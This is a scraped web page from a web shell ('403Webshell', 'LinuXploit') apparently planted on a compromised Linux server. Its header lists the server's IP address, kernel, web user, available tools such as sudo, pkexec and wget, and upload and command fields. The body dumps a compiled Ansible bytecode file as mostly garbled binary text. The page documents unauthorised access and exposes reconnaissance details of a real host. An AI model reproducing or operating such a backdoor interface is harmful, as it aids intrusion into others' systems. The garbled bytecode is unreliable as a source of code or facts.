403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib/python3.11/site-packages/ansible/utils/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.11/site-packages/ansible/utils/__pycache__/plugin_docs.cpython-311.opt-1.pyc
�

���c�:���ddlmZmZmZeZddlmZmZm	Z	ddl
mZddlm
ZddlmZddlmZmZmZddlmZddlmZdd	lmZdd
lmZddlmZe��Z d�Z!d
�Z"dd�Z#dd�Z$dd�Z%dd�Z&d�Z'd�Z(d�Z)d�Z*dS)�)�absolute_import�division�print_function)�MutableMapping�
MutableSet�MutableSequence)�Path)�	constants)�__version__)�AnsibleError�AnsibleParserError�AnsiblePluginNotFound)�string_types)�	to_native)�read_docstring)�
AnsibleLoader)�Displayc���|���D]�\}}||vr�t||t��r|�||��n�t||t��r|�||��nSt||t��r&tt|||z����}ntd|z���|||<��dS)Nz?Attempt to extend a documentation fragment, invalid type for %s)
�items�
isinstancer�updater�addr�sorted�	frozenset�	Exception)�target�source�key�values    �>/usr/lib/python3.11/site-packages/ansible/utils/plugin_docs.py�merge_fragmentr!s����l�l�n�n���
��U��&�=�=��&��+�~�6�6�
i����V�C�[�)�)�)�)��F�3�K��4�4�
i��	�	�&��+�&�&�&�&��F�3�K��9�9�
i��y�����)<�=�=�>�>���� a�dg� g�h�h�h���s�����c��������d��fd�	���fd�������fd����fd���fd�}|sdS|r
�|��dSd|vr
�|dd��t|�d	��t��r�|d	d
���t|�d��t��r�|d��t|�d
��t��r||d
��dSdS)NFc����|rdnd}t|t��sdS�s|rd|vr
�|d|��d|vr
�|d|���s|sd|vr�|d|��dSdSdSdS)N�removed_from_collection�collection_name�
removed_in�removed_at_date�version)rr)�deprecation�	top_levelr&�callback�	is_modules   ��r �process_deprecationz8_process_versions_and_dates.<locals>.process_deprecation's����7@�W�3�3�FW���+�~�6�6�	��F��	A��	A���(C�(C��H�[�,��@�@�@���+�+��H�[�"3�_�E�E�E��	>�Y�	>�I��,D�,D��H�[�)�_�=�=�=�=�=�	>�	>�	>�	>�,D�,Dr"c����|D]b}t|t��s�d|vr
�|dd��t|�d��t��r�|d���cdS)N�
version_added�version_added_collection�
deprecated)rr�get)�
specifiers�	specifierr,r.s  ��r �process_option_specifiersz>_process_versions_and_dates.<locals>.process_option_specifiers2s����#�	=�	=�I��i��8�8�
���)�+�+����O�5O�P�P�P��)�-�-��5�5�~�F�F�
=�#�#�I�l�$;�<�<�<��
	=�	=r"c����|���D�]I}t|t��s�d|vr
�|dd���s�t|�d��t��r�|d��t|�d��t��r�|d��t|�d��t��r�|d��t|�d��t��r�|d��t|�d��t��r�|d����KdS)Nr0r1�env�ini�varsr2�
suboptions)�valuesrrr3�list)�options�optionr,r-r.r6�process_optionss  �����r r@z4_process_versions_and_dates.<locals>.process_options;sd����n�n�&�&�	6�	6�F��f�n�5�5�
���&�(�(�����2L�M�M�M��
>��f�j�j��/�/��6�6�=�-�-�f�U�m�<�<�<��f�j�j��/�/��6�6�=�-�-�f�U�m�<�<�<��f�j�j��0�0�$�7�7�>�-�-�f�V�n�=�=�=��f�j�j��6�6��G�G�>�'�'��|�(<�=�=�=��&�*�*�\�2�2�N�C�C�
6����|� 4�5�5�5��	6�	6r"c���|���D]b}t|t��s�d|vr
�|dd��t|�d��t��r�|d���cdS)Nr0r1�contains)r<rrr3)�
return_values�return_valuer,�process_return_valuess  ��r rEz:_process_versions_and_dates.<locals>.process_return_valuesMs����)�0�0�2�2�	@�	@�L��l�N�;�;�
���,�.�.�����8R�S�S�S��,�*�*�:�6�6��G�G�
@�%�%�l�:�&>�?�?�?��
	@�	@r"c���|���D])}t|t��s�d|vr
�|dd���*dS)Nr0r1)r<rr)�
attributes�	attributer,s  �r �process_attributesz7_process_versions_and_dates.<locals>.process_attributesVsb���#�*�*�,�,�	Q�	Q�I��i��8�8�
���)�+�+����O�5O�P�P�P��		Q�	Qr"r0r1r2T)r+r>rG�F)rr3r)	�fragmentr-�return_docsr,rIr.r6r@rEs	 ` ` @@@@r �_process_versions_and_datesrM&s���������	>�	>�	>�	>�	>�	>�	>�=�=�=�=�=�=�6�6�6�6�6�6�6�6�6�$@�@�@�@�@�@�Q�Q�Q�Q�Q���������h�'�'�'����(�"�"����?�,F�G�G�G��(�,�,�|�,�,�n�=�=�D���H�\�2�d�C�C�C�C��(�,�,�y�)�)�>�:�:�-�����+�,�,�,��(�,�,�|�,�,�n�=�=�3���8�L�1�2�2�2�2�2�3�3r"Fc�6���fd�}t||||��dS)Nc���||vr�||<dSdS�N��r>r?�collection_name_fieldr&s   �r rz1add_collection_to_versions_and_dates.<locals>.addos'��� ��/�/�-<�G�)�*�*�*�0�/r"�rM)rKr&r-rLrs `   r �$add_collection_to_versions_and_datesrUns8���=�=�=�=�=� ��)�[�#�F�F�F�F�Fr"c�6���fd�}t||||��dS)Nc�D��|�|���kr||=dSdSrP)r3rRs   �r �removezAremove_current_collection_from_versions_and_dates.<locals>.removews3����;�;�,�-�-��@�@��-�.�.�.�A�@r"rT)rKr&r-rLrXs `   r �1remove_current_collection_from_versions_and_datesrYvs8���/�/�/�/�/� ��)�[�&�I�I�I�I�Ir"c�4�|�dg��}t|t��r|g}g}|D�]�}|}d}|�|��}	|	�Qd|vrM|�dd��}
|
d}|
d���}|�|��}	|	�|�|����t|	|d��}|�|dkr|�|����d}t||����	��}t|	d��}
d|
vr0d�
|
�d��dd	���nd
}t|||���d|vr;|�d��}|r$d|vrg|d<|d�
|��d
|vr;|�d
��}|r$d
|vrg|d
<|d
�
|��d|vrd|vrtd|�d|�����dD]�}||vr�||vrd	t|||�|�����5#t$r,}t!t#|���d|�d|�d|�����d}~wwxYw|�|��||<��	t||����j#t$r)}t!t#|���d|�d|�����d}~wwxYw|rCt!d�|t#d�
|���������dS)N�extends_documentation_fragment�
DOCUMENTATION�.�rz{})�	file_name�ansible_name���r-�notes�seealsor>rGz+missing options or attributes in fragment (z), possibly misformatted?: )r>rG� � (z) of unknown type: z(unknown doc_fragment(s) in file {0}: {1}z, )�poprrr3�rsplit�upper�append�getattrr�get_single_data�join�splitrU�extendrr!rr�format)�doc�filename�fragment_loaderr-�	fragments�unknown_fragments�
fragment_slug�
fragment_name�fragment_var�fragment_class�	splitname�
fragment_yamlrK�real_fragment_name�real_collection_namerdre�doc_key�es                   r �
add_fragmentsr�~s������8�"�=�=�I��)�\�*�*� ��K�	���#�>h�>h�
�%�
�&��(�,�,�]�;�;���!�c�]�&:�&:�%�,�,�S�!�4�4�I�%�a�L�M�$�Q�<�-�-�/�/�L�,�0�0��?�?�N��!��$�$�]�3�3�3�����d�C�C�
�� ���.�.�!�(�(��7�7�7�� $�
� ��(�C�C�C�S�S�U�U��$�^�^�D�D��OR�Vh�Oh�Oh�s�x�x�(:�(@�(@��(E�(E�a��c�(J�K�K�K�np��,�X�7K�W`�a�a�a�a��h����L�L��)�)�E��
+��#�%�%�#%�C��L��G��#�#�E�*�*�*��� � ��l�l�9�-�-�G��
/��C�'�'�%'�C�	�N��I��%�%�g�.�.�.��H�$�$��X�)E�)E��)�ly�ly�ly�|D�|D�E�F�F�
F�1�	9�	9�G��(�"�"��c�>�>�@�&�s�7�|�X�\�\�'�5J�5J�K�K�K�K��$�@�@�@�*�y�YZ�|�|�|�|�]d�]d�]d�fs�fs�fs�u}�u}�+~��������@����$,�<�<��#8�#8�C��L��	h��3��)�)�)�)���	h�	h�	h��	�!�����m�m�m�]e�]e�f�g�g�g�����	h�����A��E�L�L�X�W`�ae�aj�aj�k|�a}�a}�W~�W~���A�A�	A�A�As0�)H8�8
I.�'I)�)I.�J�
K�'$K�KNc�t�|�|�d}n|dk}n	t|||���}|�dd��r3|�t|d||���t|d|||���|�dd��r|�t|d||d	�
��|d|d|d|dfS)
z�
    DOCUMENTATION can be extended using documentation fragments loaded by the PluginLoader from the doc_fragments plugins.
    NF�module)�verbose�
ignore_errorsrrrc)rtr-�
returndocsT)r-rL�
plainexamples�metadata)rr3rUr�)rsrtr�r�r&r-�plugin_type�datas        r �
get_docstringr��s���
�����I�I�$��0�I�I�	
��(�G�=�Q�Q�Q�D��x�x��u���c��&�0��e��o�Yb�c�c�c�c�	�d�5�k�8�_�Xa�b�b�b�b��x�x��e�$�$�}��&�0��l�1C�_�`i�w{�|�|�|�|���;��_�-�t�L�/A�4�
�CS�S�Sr"c���t|��}	tj�d��}|�d��s|dz
}|�d��r
|dd�}t
jd���t���dkr'td�
t�����d�
�d	�d��}�d
�d��r:t�fd�d
D����st���dkrd�dvrd}d�
|||��S#t$r-}d�
|t|����cYd}~Sd}~wwxYw)a�
    returns a versioned documentation link for the current Ansible major.minor version; used to generate
    in-product warning/error links to the configured DOCSITE_ROOT_URL
    (eg, https://docs.ansible.com/ansible/2.8/somepath/doc.html)

    :param path: relative path to a document under docs/docsite/rst;
    :return: absolute URL to the specified doc for the current version of Ansible
    �DOCSITE_ROOT_URL�/r^Nr]�zinvalid version ({0})z{0}.{1}rra�0c3�,�K�|]}|�dvV��dS)raNrQ)�.0�pre�	split_vers  �r �	<genexpr>z(get_versioned_doclink.<locals>.<genexpr>
s,�����?�?�S�C�9�Q�<�'�?�?�?�?�?�?r")�a�b�dev�develz
{0}{1}/{2}z7(unable to create versioned doc link for path {0}: {1}))
r�C�config�get_config_value�endswith�
startswith�ansible_versionro�len�RuntimeErrorrq�anyr)�path�base_url�doc_version�exr�s    @r �get_versioned_doclinkr��s�����T�?�?�D�e��8�,�,�-?�@�@��� � ��%�%�	���O�H��?�?�3���	�����8�D�#�)�#�.�.�	��y�>�>�A����6�=�=�o�N�N�O�O�O��&�&�y��|�Y�q�\�B�B���Q�<�"�"�3�'�'�	&��?�?�?�?�J�?�?�?�?�?�
&�3�y�>�>�TU�CU�CU�Z_�cl�mn�co�Zo�Zo�%���"�"�8�[�$�?�?�?���e�e�e�H�O�O�PT�V_�`b�Vc�Vc�d�d�d�d�d�d�d�d�����e���s�D3E�
E=�"E8�2E=�8E=c�L�t|��}|�d��d}|j|kr|�|��}g}|D]T}|�|��}||kr�|���r"|�t|�����U|S)Nr]���)r	ro�stem�	with_name�with_suffix�existsrkr)r��plugin�
extensions�adjacent�plugin_base_name�paths�ext�	candidates        r �_find_adjacentr�s����D�z�z�H��|�|�C�(�(��,���}�(�(�(��%�%�&6�7�7���E��/�/���(�(��-�-�	��� � �������	/��L�L��9�-�-�.�.�.���Lr"c��|�|dd���}|r|js|dvr|�|��\}}|r|jstd|z|����t	|j��}|jtjvr(t||tj��}|r|dnd}nt|��}|�td	|z���||jfS)
zn  if the plugin lives in a non-python file (eg, win_X.ps1), require the corresponding 'sidecar' file for docs FT)�ignore_deprecated�
check_aliases)�filter�testz%s was not found)�plugin_load_contextrNzO%s cannot contain DOCUMENTATION nor does it have a companion documentation file)
�find_plugin_with_context�resolved�get_with_contextrr	�plugin_resolved_path�suffixr��DOC_EXTENSIONSr�rr�plugin_resolved_collection)r�r��loader�context�
plugin_obj�docfile�	filenamesrss        r �find_plugin_docfiler�'s���-�-�f��]a�-�b�b�G��>�7�+�>��@R�1R�1R�$�5�5�f�=�=��
�G��`�'�*�`�#�$6�&�$A�W^�_�_�_�_��7�/�0�0�G��~�Q�-�-�-�"�7�F�A�4D�E�E�	�#,�6�9�Q�<�<�$����W�%�%�����l�pv�w�x�x�x��W�7�7�7r"c	��g}t|||��\}}	t|||||���}n)#t$r}t|�d|�d�|����d}~wwxYw|dsit	||t
j��D]M}		t|	||||���}|	}|d�n+�$#t$r}td|�d|�d�|����d}~wwxYw|d�td|�d|�d����||dd	<||dd
<|S)N)r�r&r�z, did not contain a DOCUMENTATION attribute (�))�orig_excrzAdjacent file zNo documentation available for rgrs�
collection)r�r�rr
r�r�r�)
r�r�r�rtr��docsrsr&r��newfiles
          r �get_plugin_docsr�@s���
�D�!4�F�K�� P� P��H�o�w��X���Yh�wB�C�C�C�����w�w�w� �X^�X^�X^�`h�`h�`h�!i�tu�v�v�v�v�����w������7�M�%�h���8H�I�I�	M�	M�G�
M�$�W�o�w�`o�~I�J�J�J��"����7�&��E�'���
M�
M�
M�(�(�nt�nt�nt�v~�v~�v~�)�KL�M�M�M�M�����
M�����A�w�� � �V�V�V�U]�U]�U]�!^�_�_�_�&��Q��
�� /��Q�����Ks,�-�
A�A�A�<B�
C�'B?�?CrJ)FFNNN)+�
__future__rrr�type�
__metaclass__�collections.abcrrr�pathlibr	�ansibler
r��ansible.releaserr��ansible.errorsrr
r�ansible.module_utils.sixr�ansible.module_utils._textr�ansible.parsing.plugin_docsr�ansible.parsing.yaml.loaderr�ansible.utils.displayr�displayr!rMrUrYr�r�r�r�r�r�rQr"r �<module>r�s���C�B�B�B�B�B�B�B�B�B��
�G�G�G�G�G�G�G�G�G�G�������"�"�"�"�"�"�:�:�:�:�:�:�R�R�R�R�R�R�R�R�R�R�1�1�1�1�1�1�0�0�0�0�0�0�6�6�6�6�6�6�5�5�5�5�5�5�)�)�)�)�)�)�
�'�)�)��
�
�
� E3�E3�E3�PG�G�G�G�J�J�J�J�OA�OA�OA�OA�dT�T�T�T�@e�e�e�D���*8�8�8�2����r"

Youez - 2016 - github.com/yon3zu
LinuXploit